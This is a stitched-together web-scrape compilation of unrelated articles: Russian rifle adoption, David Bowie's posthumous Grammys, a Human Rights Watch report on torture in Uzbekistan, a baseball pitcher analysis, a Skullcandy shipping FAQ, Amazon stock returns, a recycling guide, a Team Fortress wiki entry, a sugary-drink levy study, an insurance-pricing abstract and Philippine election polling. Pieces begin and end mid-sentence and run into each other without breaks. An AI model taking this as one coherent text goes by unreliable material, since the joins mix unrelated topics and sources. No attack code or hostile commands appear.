a more affordable and simple rifle and will be suitable to arm large numbers of ordinary infantry forces. Although being relatively cheap, it is still a big improvement over AK-74M, offering a lot of features of a modern assault rifle (ambidexterity, accessory rails etc.). AEK-971 is a bit more complicated design, but it has a number of advantages over AK-12. It is more accurate, controllable and modular. This rifle will be issued to border patrol regiments, SSO a.k.a Spetsnaz (special forces) and national guard. Comparing the two rifles with travel classes, Rogozin said that AK-12 is like an “economy class” rifle and AEK-971 is more like a “business class” one. Both rifles will be tested more and probably will be finally adopted later this year.Despite being shut out of the major categories at the 2017 Grammys, David Bowie and his album “Blackstar” were honored by the Recording Academy, winning in all five of its nominated categories. Bowie, who died in January 2016, and “Blackstar” won four Grammys during the pre-show for best rock performance, best alternative music album, best engineered album, non-classical and best recording package. During the televised show, Bowie won best rock song. The winners who accepted for “Blackstar” during the pre-show uniformly praised the late musician’s artistic vision and ability to inspire others to deliver their best work. He was also remembered for having a sharp sense of humor, even while in failing health. Although he received a Grammy lifetime achievement award in 2006 and an award for best music film in 1985, Bowie’s work was widely overlooked by the academy during his lifetime. Remarkably, this posthumous victory marks Bowie’s first wins in musical categories. In his predictions for the 2017 Grammys, Variety‘s Andrew Barker anticipated Bowie’s early run: “Expect to see voters make up for its absence in the top slots,” he wrote. Bowie’s son, director Duncan Jones, paid tribute to his father’s Grammy wins and offered a glimpse of the private side of the legend with a Twitter message. So proud of you dad! Would hold you up forever. ❤️ #grammys2017 pic.twitter.com/JHU2hveVwq — Duncan Jones (@ManMadeMoon) February 13, 2017 The 59th Annual Grammy Awards — hosted by James Corden — are filmed at the Staples Center in Los Angeles and broadcast live on CBS.Expand Police officers check the internal passport of passers-by at the Chorsu bazaar in Tashkent. In Uzbekistan, the lack of local residence registration is an administrative offense that can lead to arrest and detention. © 2010 Elena Urlaeva (Berlin) – Uzbekistan has not kept its promises to stop torture in its criminal justice system, including electric shocks and asphyxiation, Human Rights Watch said in a report released today. Safeguards to halt the practice that were announced with fanfare have not been put into effect. Western governments seeking closer ties with the authoritarian Central Asian government for strategic reasons have all but ignored the abuses. The 104-page report “‘ No One Left to Witness’: Torture, the Failure of Habeas Corpus, and the Silencing of Lawyers in Uzbekistan,” provides rare first-hand evidence of wide-scale human rights abuses in the isolated country, from which United Nations human rights experts have been banned for almost a decade. In Uzbekistan, human rights activists are languishing in prison and independent civil society is ruthlessly suppressed. “The West has to wake up to the fact that Uzbekistan is a pariah state with one of the worst human rights records,” said Steve Swerdlow, Uzbekistan researcher at Human Rights Watch. “Being located next to Afghanistan should not give Uzbekistan a pass on its horrendous record of torture and repression.” The report is based on more than 100 interviews conducted in Uzbekistan between 2009 and 2011. Torture is a chronic problem in Uzbekistan, as highlighted by the international outrage in 2002 over the case of a man imprisoned for religious “extremism” who experts concluded died as a result of immersion in boiling water in a notorious prison and findings by United Nations bodies that torture is both “widespread” and “systematic.” But torture in Uzbekistan is not a thing of the past. Human Rights Watch documented cases in which authorities poured boiling water on an activist during an interrogation, beat detainees with rubber truncheons and water-filled bottles, hung detainees by their wrists and ankles, subjected them to rape and sexual humiliation, and asphyxiated them with plastic bags and gas masks. The government has effectively destroyed the independent legal profession, disbarring some of Uzbekistan’s most outspoken lawyers, Human Rights Watch found. The government routinely denies detainees access to legal counsel. Despite this record of abuse and repression, the United States, the European Union, and individual leading European governments have in recent years dramatically weakened their stance on human rights toward Tashkent, due to Uzbekistan’s strategic importance to neighboring Afghanistan as a land route for NATO troops and supplies. The EU dropped sanctions on Uzbekistan in 2009, while the US moved in September 2011 to waive Congressional human rights restrictions on assistance, including on military aid, to the Uzbek government. Germany, which is leasing a military base in Termez in southern Uzbekistan, has rejected taking a public stand on human rights abuses in Uzbekistan. In November, the United Kingdom also held negotiations with the Uzbek government about the possibility of using Uzbek territory to move troop supplies out of Afghanistan. The United States, European Union, and other key international actors should support the creation of a special UN mechanism on the human rights situation in Uzbekistan and consider imposing targeted punitive measures, such as asset freezes and visa bans, on Uzbek government officials responsible for torture and other grave human rights violations, Human Rights Watch said. In one torture case described in the report, the wife of “Abdumannob A.,” whose name has been changed to protect him, spoke of the beatings her husband endured in a Tashkent pretrial facility at the end of 2008 and much of 2009, when he was held by security services and accused of espionage. She told Human Rights Watch: Officers would hang him from the ceiling by his wrists, and eight or nine people one after the other would beat him. When I saw him, it was obvious he had been hanged by the wrists. I could see the marks. He told me that several times guards and detainees were brought into the interrogations and were given needles to poke under his nails. Guards handcuffed him to his cell once and burned his penis with newspapers that they had lit on fire, giving him a second-degree burn. Human Rights Watch also met with the mother of an 18-year-old boy who was detained as a “witness” in 2010 for allegedly participating in a street fight. She described how, according to her son, police had used a gas mask on him to simulate asphyxiation, and forced him to sign a confession stating that another boy was also present at the fight. Amid much fanfare, the Uzbek government in 2008 adopted habeas corpus – the judicial review of detention – and later other legal reforms, in apparent moves to combat such cases of torture. European governments and the EU cited these moves as signs of “progress” when they decided to drop sanctions. In reality, Uzbekistan’s record on torture and other serious rights abuses has not improved since the adoption of habeas corpus and in several respects has worsened, Human Rights Watch said. “Talking about reforms while the police and prison officials go right on torturing people is no improvement,” Swerdlow said. “This problem won’t stop until Uzbekistan’s leaders, starting with President Islam Karimov, publicly acknowledge the scale of this problem and urgently begin fulfilling Uzbekistan’s international commitments.” Habeas corpus has done little to protect detainees from arbitrary detention, torture, or ill-treatment. Lawyers told Human Rights Watch that Uzbek courts approve prosecutors’ applications for detention in almost all cases, without conducting an independent review of the merits of the request. The lawyers said that the courts often adopt government-proposed sentences verbatim in decisions authorizing arrest. Under Uzbek law, police and investigators can hold suspects up to 72 hours before bringing them before a judge for a habeas corpus hearing, a period incompatible with human rights norms. Habeas corpus hearings themselves are closed to the public, undermining a key safeguard designed to promote fairness in hearings. Human Rights Watch found that police and security agents use torture to coerce detainees to implicate themselves or others, viewing it as an effective instrument for securing convictions and meeting internal quotas. Since the May 2005 government massacre of hundreds of people, most of them unarmed, in the eastern city of Andijan, Uzbek authorities have made it increasingly difficult to investigate torture. The authorities have imprisoned and harassed activists who attempt to document torture and have refused to let international monitors or international human rights groups work in the country. Under its campaign to fully control the country’s legal profession, the government has abolished independent bar associations and required lawyers to retake the bar examination every three years, with often-bizarre results. Highly experienced lawyers who have been required to retake exams have “failed,” while their junior colleagues “passed” with strong scores. The new law restructuring the legal profession violates the Uzbek Constitution and international standards on the independence of lawyers and has had a chilling effect on lawyers’ work, Human Rights Watch said. Several lawyers who consistently take on politically sensitive cases or raise allegations of torture have been disbarred. Human Rights Watch called on the Uzbek government to end torture. The government should ensure that habeas corpus is implemented in line with international standards, that procedural rights such as access to counsel are protected, and that the independence of the legal profession is upheld. “It is absurd to speak of progress on the rule of law in Uzbekistan when some of the country’s fiercest and most independent lawyers are being silenced,” Swerdlow said. “Without criminal defense lawyers who are able to operate free of interference from the state, there can be little hope of addressing Uzbekistan’s pervasive torture epidemic.”Every year, a number of starting pitchers seemingly come out of nowhere to become significant contributors at the major-league level. Sometimes, like in the case of, say, Jacob deGrom, the sudden evolution at the major-league level is real and sustainable. In the case of the majority of these short-term success stories, the league adjusts, the pitcher is unable to, and either disappears from the major-league scene or settles into a lesser role. This spring, Mariners right-hander Erasmo Ramirez was out of options, and was designated for assignment off of the 40-man roster. In these types of situations, a club is lucky to receive a fringe prospect in return. In this case, however, the Mariners were able to acquire the Rays’ version of Ramirez in lefty Mike Montgomery. His services were required at the major-league level shortly thereafter, and in his first seven starts, Montgomery was a revelation, posting a 1.62 ERA. In his last seven starts, however, he’s been more like the Book of Revelation, unfurling a 7.99 ERA. Which is the real Mike Montgomery, and might he still be someone the Mariners can be excited about moving forward? Is there really that a stark a difference between the Before and the After Model in this comparison test? Let’s take a look at Montgomery’s 2015 batted-ball data and make some observations. Back in the days when the Royals were heralded for possessing the best minor-league system in the game, Montgomery was one of their crown jewels. The 36th-overall selection in the 2008 draft hit the ground running, and experienced significant success at both Class-A levels in his first full pro season, despite not turning 19 until July 1. Each year, I compile my own ordered minor-league lists of top full-season-league position-player and starting-pitcher prospects based on performance and age relative to league and level. These basically serve as follow lists, with the orders then tweaked based on traditional scouting methods. Montgomery made my list three straight years between 2009 and -11, with a peak ranking of #35 in 2009. Baseball America arguably loved him even more, placing him on their Top 100 list, which encompass position players and pitchers, after each of those three seasons, as high as #19 and no lower than #39 overall. Then the old TINSTAAP adage took hold, and Montgomery stagnated at the Triple-A level for over three full seasons, drifting from Kansas City to Tampa Bay in the James Shields/Wil Myers deal after the 2012 season. No one has had more success in turning young minor-league pitching prospects into cost-controlled major-league pitching assets than the Rays, and they got absolutely nowhere with Montgomery, eventually dispatching him to Seattle for Ramirez this spring. Today, we’ll take a look at Montgomery’s plate-appearance frequency and production by ball-in-play (BIP) type data, both for his entire body of major-league work, and for the “good” and “bad” halves of his season. Is his performance over the last month-plus something we should have seen coming? First, the frequency information: FREQ – 2015 Montgomery % REL PCT K 17.2% 85 35 BB 9.0% 120 95 POP 1.6% 50 15 FLY 28.4% 93 26 LD 19.5% 93 26 GB 50.6% 112 84 ———— ———— ———–
of your tracking number. For more information, go to Order Status. Please Note: sometimes inclement weather conditions delay shipments, including expedited shipping methods. We are not responsible for late deliveries due to weather and natural disasters. My package was "Returned to Sender" by the courier. What should I do? Please check your email to see if we have contacted you regarding this. If not, please contact us at help@skullcandy.com There is a discrepancy with my order (wrong product, quantity, color etc.) No one’s perfect... but we’ll make right! Email us at help@skullcandy.com, Monday – Friday from 7:00am – 7:00pm MST. I meant to use my Warranty Coupon Code, but my credit card was charged. Please contact us for further assistance at help@skullcandy.com. PRODUCT INFORMATION What products can I order using my Warranty Coupon Code? Warranty Coupon Codes are only valid for the purchase of qualifying Skullcandy products. Pre-Order Products or newly released products do not qualify for use with Warranty Coupon Codes. Other products that do not qualify include customized and limited edition headphones, customized EDIT Aviators, footwear, and some soft goods and accessories. Why can't I add product to my cart? Products with no “ADD TO CART” button are out of stock. Our website catalogues many of our products, current and discontinued. Not everything you see on our site will be available to order. Where can I find Skullcandy care and safety tips? See the complete list of how to properly care for your Skullcandy product. I have a spare parts request Spare parts are currently unavailable, with the exception of cable replacement and replacement ear gels. To purchase a cable, please visit our accessories page. If your cable went defective on its own, simply fill out the warranty request form and follow the instructions. When you are asked what happened to your product, select the cable defect option to replace your cable. Visit for directions: Warranty Information My audio jack is creating static feedback First; ensure the headphone cable is fully plugged into the device. Many times if you only hear sound from one side of the headphone, it is because the jack is not plugged in all of the way. Second, try plugging your headphones into multiple devices, such as an iPod, cell phone, computer, etc. Also, be sure to check the volume controls on each device. Thirdly, try rotating the jack in the device (8-10 times) while it is fully plugged in. Rotating the jack can ensure a better connection, and often times will resolve the static issue. If you are still encountering an issue please follow the link and file a warranty claim, and we will get you on your way to new headphones quickly. Visit for directions: Warranty Information What are the Back to School backpack gift with purchase stipulations? Receive a free Skullcandy Hiker Roll Top Backpack with any purchase over $125. Backpack will be automatically added to cart when product is added. Valid for all qualifying orders made after 8.6.2017, on skullcandy.com, while supplies last. Limit one backpack per order. Promotion threshold is based off of the final order value after coupon/discounts have been applied. The Skullcandy Rolltop Hiker Backpack is not included under any Skullcandy warranty. PRE-ORDER AND BACKORDER INFORMATION Select products may be available for pre-order or backorder. Do you want to be first to receive our newest products? Pre-order or backorder an item and we will ship it as soon as it arrives at the warehouse. Warranty or discount codes are not valid on pre-order products. When will my order ship? Pre-order and Backorder items will ship as soon as they become in stock. Where you see a product listed for Pre-order or Backorder, we also state an expected in-stock date. Shipping dates will vary per product. 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To inquire about product customization, please click here.Following a projected $6.59 billion in Cyber Monday sales, Amazon's stock has risen nearly 5 percent over the past week heading into the holiday season. That sharp increase in value could explain why its founder and chief executive officer, Jeff Bezos, is now estimated to be the richest man in the world with a net worth of over $90 billion, according to industry estimates. If you had invested in Amazon early on, when it first debuted on the Nasdaq in 1997, you could be worth a lot of money today, too. In fact, if you bought $1,000 in stock even 10 years later, in 2007, your investment would be worth $12,398 as of October 31 of this year. That's according to financial website How Much, which took a look at some popular stocks in 2007 to find out how much a $1,000 investment in each would be worth now. Of the companies it examined, Amazon's performance was second only to the success of Netflix. In the graphic below, the blue dots are equivalent to a $1,000 initial investment, and the pink dots equal the investment's current total value.Garbage. Americans produce more and more of it every year, when we need to be producing less. Even the most waste-conscious among us can feel overwhelmed by the amount of household waste that goes beyond what municipal recyclers and compost bins can handle. We've spent a lot of time investigating the state of waste management in our country, so we can explain how to get serious about the three R’s – reducing, reusing, and recycling — and divert more waste away from landfills. (To download the entire recycling issue of Green American, visit our archives page.) 1. Appliances: Goodwill accepts working appliances, or you can contact the Steel Recycling Institute to recycle them. 2. Batteries: Try Battery Solutions to buy a product to put batteries in to ship away. Staples also has a national battery recycling program for individuals or your office. Some Ikea stores have recycling stations for them as well. 3. Cardboard boxes: Contact local nonprofits and women’s shelters to see if they can use them. Or, offer up used cardboard boxes at your local Freecycle.org listserv or on Craigslist.org for others who may need them for moving or storage. If your workplace collects at least 100 boxes or more each month, UsedCardboardBoxes.com accepts them for resale. 4. CDs/DVDs/Game Disks: Send scratched music or computer CDs, DVDs, and PlayStation or Nintendo video game disks to CDFixers for refinishing, and they’ll work like new. 5. Clothes: Wearable clothes can go to your local Goodwill outlet or shelter. Donate wearable women’s business clothing to Dress for Success, which gives them to low-income women as they search for jobs. Offer unwearable clothes and towels to local animal boarding and shelter facilities, which often use them as pet bedding. Consider holding a clothes swap at your office, school, faith congregation or community center. Swap clothes with friends and colleagues, and save money on back-to-school clothes, Halloween costumes, or any season you want. 6. Compact fluorescent bulbs: Call your local Ikea store--many have units for recycling florescent bulbs, along with batteries and conventional recyclables. Earth911 has a great tool where you can enter your recyclable and zip code and it will give you a list of places that will accept that item. 7. Compostable bio-plastics: Compostable bioplastics include those cornstarch utensils and specially marked cups, which won't break down quickly in your home compost bin like your food scraps do. Find a Composter has a tool for finding municipal composters for these types of items. 8. Computers and electronics: E-Stewards has a tool for finding responsible recyclers for computing waste which can be toxic and hard to break down. 9. Exercise videos: If you've done the same workouts a million times, swap them with others at Video Fitness. If you're done with them forever, contact your closest e-waste station and see if they will accept them. Policies change frequently and the magnetic tape in VHS makes them particularly difficult to recycle. 10. Eyeglasses: Your local Lion’s Club or eye care chain may collect these. Lenses are reground and given to people in need. Often eye doctors' offices will collect them, or even local libraries. Glasses are most often donated as-is to someone with a similar perscription. Reading glasses and non-perscription sunglasses can often be donated as well. 11. Foam packing: Your local pack-and-ship store will likely accept foam peanuts for reuse. Or, call the Plastic Loose Fill Producers Council to find a drop-off site. For places to drop off foam blocks for recycling, contact the Alliance of Foam Packaging Recyclers. 12. Ink/toner cartridges: Recycleplace.org will pay a few cents for your old ink cartridges, up to $1 depending on the brand. If you bring your old cartridges to Staples, they will give you a $2 voucher you can use towards your new ink. 13. Oil: When the oil is being changed in your car, it can be re-refined and made into motor lubricants and other petroleum products. Earth911 has a tool to find which autoshops you can use to recycle oil in your zip code. 14. Phones: HopeLine is a program to provide cell phones to domestic violence survivors. Bring them to a Verizon or mail them in to donate. Office phones and corded phones can be recycled through Staples or another e-waste recycler. 15. Sports equipment: Resell or trade it at your local Play It Again Sports outlet or at Goodwill. 16. “Technotrash”: Staples' e-waste program will take iPods, MP3 players, cell phones and chargers, digital cameras, PDAs, palm pilots, and more. Also, easily recycle all of your CDs, jewel cases, DVDs, audio and video tapes, pagers, rechargeable and single-use batteries, PDAs, and ink/toner cartridges with GreenDisk’s Technotrash program. For $11.95, GreenDisk will send you a cardboard box (or you can use your own) in which you can ship them up to 25 pounds of any of the above. Your fee covers the box as well as shipping and recycling fees. 17. Athletic and other shoes: MORE takes donations of lightly used running shoes which are resold to fund sustainable farming programs. Soles4Souls was founded after Hurricane Katrina, which gives shoes as a measure of disaster relief and to create micro-enterprises with a low cost product. 18. Toothbrushes and razors: Buy a recycled plastic toothbrush or razor from Preserve, a brand sold in many pharmacy stores as well as online. The company makes its products out of Stonyfield Farms yogurt cups and will take back its products to be made into plastic lumber. Bins that collect these and other products with the number 5 recycling symbol are collected in Preserve's Gimme 5 bins, which are placed in 250 locations nationwide. They can also be sent in by mail. 19. Tyvek envelopes: Those tough, plasticky envelopes you get in the mail, those are Tyvek. The material is broken down and made into new plastics without consuming more oil resources. Quantities less than 25: Send to CFS Recycling, 337 A Industrial Drive, Petersburg, VA 23803. Quantities larger than 25, call 1-800/44-TYVEK. 20. Miscellaneous stuff: Get your unwanted items into the hands of people who can use them. Offer them up on your local Freecycle.org or Craigslist.org listserv. 21. Crayons: If you have broken crayons, or old mis-matched ones that are missing the box, send them to Crazy Crayons. This program collects crayons from around the country, melts them down, and sells 100% recycled crayons (in cute shapes and containers, too!).From Team Fortress Wiki “ — Made Man publicity blurb You wanna roll in style, kid? You wanna have all them broads swooning in your palms like a slick, feminine fondue? Then ya gonna need a flower tucked onto ya fancy suit. ” The Made Man is a community-created cosmetic item for the Spy. It is a team-colored rose bud worn on the left lapel of the Spy's suit. Painted variants Mouseover cells to preview the images on a dark background. Click on the images to enlarge them. Single colors An Extraordinary Abundance of Tinge Color No. 216-190-216 Peculiarly Drab Tincture Aged Moustache Grey A Distinctive Lack of Hue After Eight Radigan Conagher Brown Ye Olde Rustic Colour Muskelmannbraun Mann Co. Orange Australium Gold The Color of a Gentlemann's Business Pants Dark Salmon Injustice Pink as Hell A Deep Commitment to Purple Noble Hatter's Violet A Color Similar to Slate Zepheniah's Greed Drably Olive Indubitably Green The Bitter Taste of Defeat and Lime A Mann's Mint Team colors Waterlogged Lab Coat (RED) Waterlogged Lab Coat (BLU) Balaclavas Are Forever (RED) Balaclavas Are Forever (BLU) Team Spirit (RED) Team Spirit (BLU) Operator's Overalls (RED) Operator's Overalls (BLU) The Value of Teamwork (RED) The Value of Teamwork (BLU) An Air of Debonair (RED) An Air of Debonair (BLU) Cream Spirit (RED) Cream Spirit (BLU) Unpainted (RED) Unpainted (BLU) Item set Crafting Blueprint June 23, 2011 Patch (Über Update) The Made Man was added to the game. August 29, 2016 Patch [Undocumented] Updated the item type strings for the Made Man. Bugs Currently, there is a known bug where paint will not be visible to the player once applied. Other players, however, will see the painted item. Trivia× Sugary drink sales plummeted after price increase, study says From Colombia to South Africa, France to India, governments around the globe are exploring whether taxes on sugar-sweetened beverages might curb obesity rates. Do these fines actually work to prevent people from choosing sweet drinks? Adding a small fee to the price tag of sugar-sweetened beverages at one UK restaurant chain most likely contributed to a decline in their sales, according to a study published Monday in the Journal of Epidemiology & Community Health. Jamie’s Italian, a chain created by celebrity chief Jamie Oliver, launched its own health campaign in September 2015. Along with adding 10 pence (about 13 cents) per drink to sugar-sweetened beverages, the chain offered new lower-sugar drinks and redesigned its menus. After the fee was introduced, the chain saw an 11% decline in the number of sugar-sweetened beverages sold per customer during the first 12 weeks, according to the researchers. Over a six-month period after the levy was charged, the number of sugary drinks had declined by 9.3% per customer. “Sugar taxes are currently extremely popular policies to curb obesity rates and improve population diet,” said Steven Cummins, senior author of the study and a professor of population health at the London School of Hygiene & Tropical Medicine. “There’s actually very little evidence that they work in practice. There’s only a couple of studies that assess the impact of these kinds of (taxes) in real life on real customers.” Cummins and his colleagues analyzed the Jamie’s Italian health campaign in an effort to add to this knowledge base. ‘Fat man of Europe’ Drinking sugar-sweetened beverages, including non-diet sodas, flavored juices and some sports drinks, is associated with obesity, type 2 diabetes, cardiovascular disease and cavities. In the UK, sugar-sweetened drinks may account for half of the excess calories consumed per day by children, while one in four British adults is obese, according to a 2013 report from the United Nations. The same report also found that obesity rates among adults have more than tripled in the past three decades. In 2015, the National Health Service made public its worries that the UK has become the “fat man of Europe.” Shortly thereafter, Jamie’s Italian decided, according to its website, to “raise awareness of how much sugar is present in certain soft drinks and make people think about their sugar intake — particularly that of their children” by adding 10 pence to the price tag. Any profits raised by the fee would be donated to The Children’s Health Fund in support of programs aimed at improving children’s health and food education, the campaign made clear. Cummins said he and his colleagues “had no control over the design or delivery” of the Jamie’s Italian health intervention. Independently, the restaurant chain created and implemented the fee, made changes to its menu to explain the new price, introduced fruit spritzers (fruit juice mixed with water) and created promotional materials. “Jamie Oliver also broadcast an hourlong documentary just a few days before the levy was introduced,” Cummins added. “So there was quite a lot of media coverage.” The price increase can be seen as a complex “intervention” including a financial element in combination with non-fiscal components, the researchers said. Analyzing sales data from before and after the intervention, Cummins and his colleagues calculated the average number of sugar-sweetened beverage sales per customer in 37 Jamie’s Italian restaurants. In the 12 months prior, a total of 2,058,581 non-alcoholic beverages were sold in the restaurants, and 38% (775,230) of them were sugar-sweetened drinks. Adding a 10-pence fee to sugar-sweetened beverages was associated with significant declines in sales per customer, with the greatest reductions in restaurants with higher sugar-sweetened beverage sales per customer, the results indicated. It could be that customers switched to water or other kinds of beverages, potentially fruit juices, or the adults might even choose alcoholic beverages, Cummins said. “We don’t exactly know what they’re substituting to; my guess is primarily water.” A longer followup period is required to assess whether the effects will be sustained, the researchers noted. “It’s a really simple intervention, actually, and there’s no reason why other commercial restaurant chains cannot implement this kind of intervention,” Cummins said. “It wouldn’t require major changes or costs.” That said, his experience of working with Jamie’s Italian suggested no harm in terms of negative financial consequences. “There may be some financial impact, and we don’t know what it might be, but it’s likely not large,” Cummins said. “It may be that other types of chains that sell different types of food might have a larger impact economically” — but this is “fairly unlikely.” Small changes “There’s a lot going on here in this study,” said Jayson L. Lusk, a professor and head of the Department of Agricultural Economics at Purdue University, who did not participate in the research or the analysis. “It’s hard to conclude that the price change in sugar-sweetened beverages is the main cause of the changes being observed,” Lusk said, noting that bottled water and diet cola consumption fell at about the same rate as the increased-price sugary beverages after the intervention began. Meanwhile, the beverages introduced after the price increase introduce a “confound” into the experiment: an element that disrupts and adds confusion to the results. Overall, previous research on this topic suggests that such taxes will probably have small effects on consumption of taxed beverages and that people will simply substitute other high-calorie, non-taxed beverages and foods, Lusk said. So, can sugar-sweetened beverage taxes lower sugar-sweetened beverage consumption? “Yes, by a small amount,” he said. “But that’s different than saying sugar-sweetened beverage taxes reduce caloric intake. “There’s also literature showing these taxes tend to be regressive, affecting lower-income households more than higher-income households,” Lusk said. Jason M. Fletcher, a professor of public affairs and sociology at the University of Wisconsin-Madison, said some of the results from the new study suggest a “general weakness in the analysis.” Fletcher did not participate in the new study. After the intervention, there was a reduction in sales of all types of beverages compared with before the intervention, Fletcher noted, and the authors did not adequately estimate the effects of the 10-pence levy for each beverage in their analysis. “In our own work, we find support for substitution effects in the US, where higher taxes on soda lead to two effects: (1) less consumption of soda and (2) more consumption of other high-calorie drinks,” Fletcher said. “Combining these effects can lead to no increase in health.” On this side of the Atlantic, Americans consume more than 40 gallons of sugary drinks per capita each year, on average. “Sugar taxes in England have not been proposed, but there is in legislation to be implemented next year as a proposal from Her Majesty’s Treasury on implementing a sugar tax of 20% on producers and manufacturers of sugar-sweetened beverages — so not to the consumer but to the producers themselves,” Cummins said. Some of the major manufacturers have announced that they are going to reformulate their products in order to avoid the tax. “So in one sense, the policy has already had an effect in terms of persuading companies to reformulate their products in order to avoid the extra costs that will be levied upon them,” Cummins said. “Within the whole of the food system, there are a variety of different types of responses,” he said, adding that he hopes to study these responses. “We’re interested in capturing these kind of systemwide effects.”Probably not: Although the vast majority of Americans have private health insurance, researchers focus almost exclusively on public provision. Data on the private insurance sector is extremely difficult to obtain because health insurance contracts are complex, renegotiated annually, and not subject to reporting requirements. This study makes use of a privately-gathered national database of insurance contracts agreed upon by a sample of large, multisite employers between 1998 and 2005. To gauge the competitiveness of the group health insurance industry, I investigate whether health insurers charge higher premiums, ceteris paribus, to more profitable firms. I find they do, and this result is not driven by cross-sectional differences across firms or plans: firms with positive profit shocks subsequently face higher premium growth, even for the same healthplans. Moreover, this relationship is strongest in geographic markets served by a small number of insurance carriers. Further analysis suggests profits act to increase employers’ switching costs, and insurers exploit this inelasticity where they have sufficient bargaining power. Given the rapid industry consolidation during the study period, these findings suggest healthcare insurers possess and exercise market power in an increasing number of geographic markets.MANILA, Philippines (NewsLab Team) - There are three inevitable things in this world - death, taxes and people complaining about results of pre-election surveys. In social media, news agencies posting an article about a new survey result is akin to cracking open a hive of wasps. A legion of angry Facebook users, whose candidates trail behind, accuse survey agencies and the media of mind-conditioning the electorate and manipulating results in favor of another candidate. When their bets become frontrunners, they still won't buy it - they'd say the "true" margin is not being reflected. It's not just the common keyboard warrior who has a beef with pre-election preference surveys. Last month, when he was still a survey frontrunner in a statistical tie with Sen. Grace Poe, a thankful Vice President Jejomar Binay addressed Filipinos following the results of the Pulse Asia presidential preference survey that time. “Patuloy akong nagpapaabot ng pasasalamat sa ating mga kababayan at ito ay hindi na mapipigilan. Tuloy-tuloy na 'yan. Naniniwala na ho ang ating mga kababayan na ako ang karapat-dapat na maging pangulo ng ating bansa (I continue to thank our countrymen and this cannot be stopped. This will continue. Our countrymen already believe that I deserve to be the president of the country)," he said. But what he expected as a continued climb turned into a quick descent. Just weeks before election day, Poe and another presidential aspirant, Davao City Mayor Rodrigo Duterte, overtook him in multiple succeeding surveys. Poe's camp was quick to claim that it is now a two-way race between her and the popular mayor from the south. Binay disagreed, and eventually changed his tone on pre-election preference surveys. “It appears that 'trending' is being done to make it a two-man race. It is not. The reality is this: It's a tight race. No one is a clear winner at this stage,” said Joey Salgado, the communications director of Binay's United Nationalist Alliance party. Salgado even questioned the accuracy of surveys conducted during the Holy Week, saying that "it is unheard of for pollsters to do surveys during this period, as voters are either in deep spiritual reflection or on vacation mode." "They simply shut off from the world. Politics is the last thing on their mind,” Salgado added. Meanwhile, Sen. Miriam Defensor-Santiago, who has yet to manage a double-digit rating in the surveys, suggested that surveys are manipulated by rich candidates and their equally wealthy supporters. “No one believes surveys anymore because, in the first place, it’s all over social media that my name has been removed from some of the forms used in these surveys so that respondents would be forced to vote for other candidates,” the senator said. The senator would rather believe in the results of surveys by student organizations or campus publications - and for good reason - she has topped 18 of these surveys so far. Hits and misses In the United States, the practice of getting the feel of the electorate on who their preferred leader is dates back to as early as 1824, when newspapers of the day conducted interviews with voters in what was called "straw polls." Currently, different polling agencies in different countries including the Philippines employ more scientific surveys in an attempt to become more representative of the general public's preferences - and they accurately predict who the winner will be. But while poll surveys generally capture the direction of the actual vote, there are also instances were the final vote count is nowhere near what the pollsters and pundits expected. During the United Kingdom general election of 2015, for example, pollsters predicted an upswing for the opposition party, Labour, weeks before voting took place. The pollsters were expecting a coalition government - one that is ruled by more than one political party - given a prediction that the Conservative Party would win the most seats in parliament, but not enough of the required 326 to form a majority government. They were all proven wrong when the actual votes - 330 - brought an overall majority to Prime Minister David Cameron's party. In the United States, just last month, former Secretary of State Hillary Clinton's campaign to the White House met a roadblock when Sen. Bernie Sanders, who is also fighting to become the Democrat Party nominee, pulled off an upset in the Michigan primary, 50 percent to 48 percent. This happened after surveys predicted a 21-point lead for Clinton. In the Philippines, more recent examples show the poll agencies' accuracy in predicting the outcome of the elections. In 2010, for example, both Social Weather Stations (SWS) and Pulse Asia reported that Sen. Benigno Aquino III will become the next president of the Philippines, based on their last survey results published before the elections. SWS showed Aquino winning at 42 percent, while Pulse Asia had it at 39 percent. The final result? Aquino winning the presidency at 42 percent. In defense of polling stations Despite the success of their predictions, however, local survey agencies still come under attack for allegedly taking in bribes to show a fabricated report and for supposedly conditioning the minds of the electorate. In 2010, when he was running for the presidency, Richard Gordon filed for a temporary restraining order against SWS and Pulse Asia at a Quezon City court. Gordon sued SWS and Pulse Asia after the two firms released pre-election surveys showing him lagging behind. Quezon City Regional Trial Court Branch 219 rejected his plea, citing lack of jurisdiction. Judge Bayani Vargas added that even if the court had jurisdiction over the case, it would still deny the injunctive reliefs sought by Gordon, citing that the Supreme Court had invalidated the provisions of the Fair Election Act that imposed a ban on election surveys. Vargas said the court’s jurisdiction over the case was “highly doubtful” and that the Commission on Elections has such authority over the issue. Gordon said the polling firms “have published false, fraudulent, biased and defective surveys” which have undermined his campaign, adding that the surveys portrayed him and his running mate former Metro Manila Development Authority Chair Bayani Fernando as “unwinnable contenders.” Both lost the elections that year. It's not just people like Gordon who have a bone to pick with poll surveys. Fifty-five year-old garbage collector Rauline Valverde, for one, is unsure of the surveys' integrity. "Ang survey kasi maaaring nababayaran maaaring hindi, hindi natin alam (Surveys can be bought, possibly, we don't know)," he said. "Most probably mga politiko 'yan... iba-ibang kampo 'yan... maaring nagbabayad sila para ipalabas sa survey na nauna sila (Most probably these are politicians, from different camps, they can buy surveys to show that they are leading)." Utility worker Englebert Boaquin, 40, said if his favored bet lags in the survey, he would no longer vote for the candidate. But are surveys really dishonest, as some people claim? Leo Laroza, communications director for SWS, told philstar.com that they follow a code of ethics for their survey research. For them, they abide by the standards set by the World Association for Public Opinion Research, an international professional association focused on the importance of conducting scientifically sound surveys and how the information can be useful to society and the public. "In this code of ethics, every time we report a survey finding, you will find in that report the following information: First would be the survey background where you will find who are the respondents, what is the sample size, when was the survey conducted, what was the geographical coverage, the exact question used in the survey, the results and who commissioned the survey," Laroza said. He added that the survey report usually indicates the survey was commissioned (a person asked for it) or if it was non-commissioned, meaning the SWS conducted the survey on their own initiative. "Survey results are not determined by who is commissioning them," Laroza said. In the case of SWS, all surveys become available to the public, whether commissioned or non-commissioned. Individuals who commission surveys will have temporary ownership of the data for a certain period of time. "Temporary embargo of the survey data is up to a maximum of three years," Laroza said. After such period, information about the survey will be published and archived in the SWS library. The embargo on the results of commissioned surveys can also be lifted if the person who sponsored the research decide to publicize it. Non-commissioned surveys, meanwhile, are regularly published by the organization online and reported by the media. For Pulse Asia, the secrecy in the conduct of public opinion research is important in ensuring the integrity of the surveys. "On the integrity alone, we have safeguards. We don't reveal when we are going to do it. Only a handful of people know where we're going to, because when someone finds out, you open yourself to greater vulnerability," Pulse Asia president and managing fellow Ronald Holmes told philstar.com. Holmes said there is a need to protect the areas that are randomly selected, and details of the survey are only revealed when the results are publicized. Publication of these details is required by law. How 